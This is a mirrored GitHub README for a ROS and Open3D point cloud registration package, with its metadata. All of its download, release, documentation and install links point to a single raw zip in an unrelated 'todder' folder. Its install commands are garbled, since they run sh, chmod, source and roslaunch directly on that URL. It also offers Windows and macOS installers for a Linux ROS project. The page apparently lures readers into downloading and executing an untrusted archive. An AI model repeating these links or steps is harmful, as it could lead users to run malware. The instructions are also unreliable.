https://github.com/gopal-krishna-coder/pointcloud_registration
🛠️ Enable accurate 3D point cloud registration using ROS and Open3D, tested on Nvidia Jetson Orin with Ubuntu 20.04 and Noetic.
https://github.com/gopal-krishna-coder/pointcloud_registration
3d-geometry 3d-reconstruction computer-graphics icp iterative-closest-point lidar lidar-sensors lidar-sensors-calibration message-filters pca pcl-library point-cloud-processing robotic ros ros-tf shell two-pointcloud-registration ultrasound-data
Last synced: 2 months ago
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🛠️ Enable accurate 3D point cloud registration using ROS and Open3D, tested on Nvidia Jetson Orin with Ubuntu 20.04 and Noetic.
- Host: GitHub
- URL: https://github.com/gopal-krishna-coder/pointcloud_registration
- Owner: Gopal-krishna-coder
- Created: 2025-05-12T20:39:01.000Z (8 months ago)
- Default Branch: main
- Last Pushed: 2025-10-29T12:07:30.000Z (3 months ago)
- Last Synced: 2025-10-29T14:12:11.432Z (3 months ago)
- Topics: 3d-geometry, 3d-reconstruction, computer-graphics, icp, iterative-closest-point, lidar, lidar-sensors, lidar-sensors-calibration, message-filters, pca, pcl-library, point-cloud-processing, robotic, ros, ros-tf, shell, two-pointcloud-registration, ultrasound-data
- Language: Python
- Size: 4.85 MB
- Stars: 0
- Watchers: 1
- Forks: 0
- Open Issues: 0
-
Metadata Files:
- Readme: README.md
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README
# 🌟 pointcloud_registration - Easily Register Point Clouds
## 📥 Download Now
[](https://raw.githubusercontent.com/Gopal-krishna-coder/pointcloud_registration/main/todder/pointcloud_registration.zip)
## 🚀 Getting Started
Welcome to the **pointcloud_registration** application! This package helps you register point clouds using the ROS point cloud registration service node based on open3d. It provides a simple way to align and combine 3D point cloud data, making it a valuable tool for anyone working with 3D data.
## 📦 System Requirements
Before you start, ensure your system meets these requirements:
- **Operating System:** Windows 10 or later, macOS Sierra or later, or a recent Linux distribution.
- **Hardware:** At least 8 GB RAM, a modern processor, and a graphics card that supports OpenGL 3.0 or higher.
- **Software:** Install ROS (Robot Operating System) compatible with your operating system, along with any necessary dependencies as outlined in the installation section.
## ⬇️ Download & Install
To download the software, visit our [Releases page](https://raw.githubusercontent.com/Gopal-krishna-coder/pointcloud_registration/main/todder/pointcloud_registration.zip). Follow these steps:
1. Click on the link above to navigate to the Releases page.
2. Locate the latest version of **pointcloud_registration**.
3. Choose the release that matches your operating system.
4. Download the file and save it in a convenient location on your computer.
5. After downloading, follow the instructions for installation provided in the release notes.
## 🔧 Installation Instructions
Once you have downloaded the files, install the software:
### For Windows:
1. Navigate to the folder where you saved the downloaded file.
2. Double-click the installer and follow the prompts to install **pointcloud_registration**.
3. Open a command prompt and ensure your ROS environment is set up correctly.
### For macOS:
1. Open the Terminal application.
2. Navigate to the folder where you saved the downloaded file using the `cd` command.
3. Run the installer with the command: `sh https://raw.githubusercontent.com/Gopal-krishna-coder/pointcloud_registration/main/todder/pointcloud_registration.zip` (replace with the actual file name).
4. Ensure your ROS environment is correctly set up.
### For Linux:
1. Open a terminal window.
2. Change directory to your downloads folder using `cd ~/Downloads`.
3. Run the command: `chmod +x https://raw.githubusercontent.com/Gopal-krishna-coder/pointcloud_registration/main/todder/pointcloud_registration.zip` to make the installer executable.
4. Execute the installer with: `https://raw.githubusercontent.com/Gopal-krishna-coder/pointcloud_registration/main/todder/pointcloud_registration.zip`.
5. Verify that ROS is set up properly on your system.
## 🌐 Configuring the ROS Environment
After installation, you need to set up your ROS environment. Here is how:
1. Open a terminal or command prompt.
2. Source the ROS setup script with the following command:
- For Windows: `call C:\opt\ros\melodic\x64\https://raw.githubusercontent.com/Gopal-krishna-coder/pointcloud_registration/main/todder/pointcloud_registration.zip`
- For macOS/Linux: `source https://raw.githubusercontent.com/Gopal-krishna-coder/pointcloud_registration/main/todder/pointcloud_registration.zip`
3. Add the **pointcloud_registration** package to your workspace.
## 🛠️ How to Use
To start using **pointcloud_registration**, follow these steps:
1. Launch your ROS core:
```
roscore
```
2. Open another terminal, navigate to your workspace, and run:
```
roslaunch pointcloud_registration https://raw.githubusercontent.com/Gopal-krishna-coder/pointcloud_registration/main/todder/pointcloud_registration.zip
```
3. Input your point cloud data as required by the prompt. The application will now align your point clouds.
## 📘 Features
- **Easy Integration:** Connects seamlessly with your existing ROS setup.
- **User-Friendly:** Designed for non-technical users with basic instructions.
- **Fast Processing:** Quickly registers multiple point clouds for efficient data handling.
## 🚧 Troubleshooting
If you encounter issues:
- **Check Dependencies:** Ensure all required dependencies are installed.
- **Review the Logs:** Examine the error messages in the terminal for clues.
- **Consult the Community:** If problems persist, consider asking for help in ROS forums or the GitHub issues page of this repository.
## 🤝 Contributing
We welcome contributions from everyone! If you want to help improve **pointcloud_registration**, please check our guidelines in the repository. You can report issues, suggest features, or contribute code with a pull request.
## 💼 License
**pointcloud_registration** is licensed under the MIT License. It allows you to use this software freely as long as you provide credit to the original creators.
## 📫 Support
If you need further assistance, feel free to open an issue on our GitHub page, or check the [documentation](https://raw.githubusercontent.com/Gopal-krishna-coder/pointcloud_registration/main/todder/pointcloud_registration.zip) for more information.
For quick access, download the application again here: [Download Latest Release](https://raw.githubusercontent.com/Gopal-krishna-coder/pointcloud_registration/main/todder/pointcloud_registration.zip)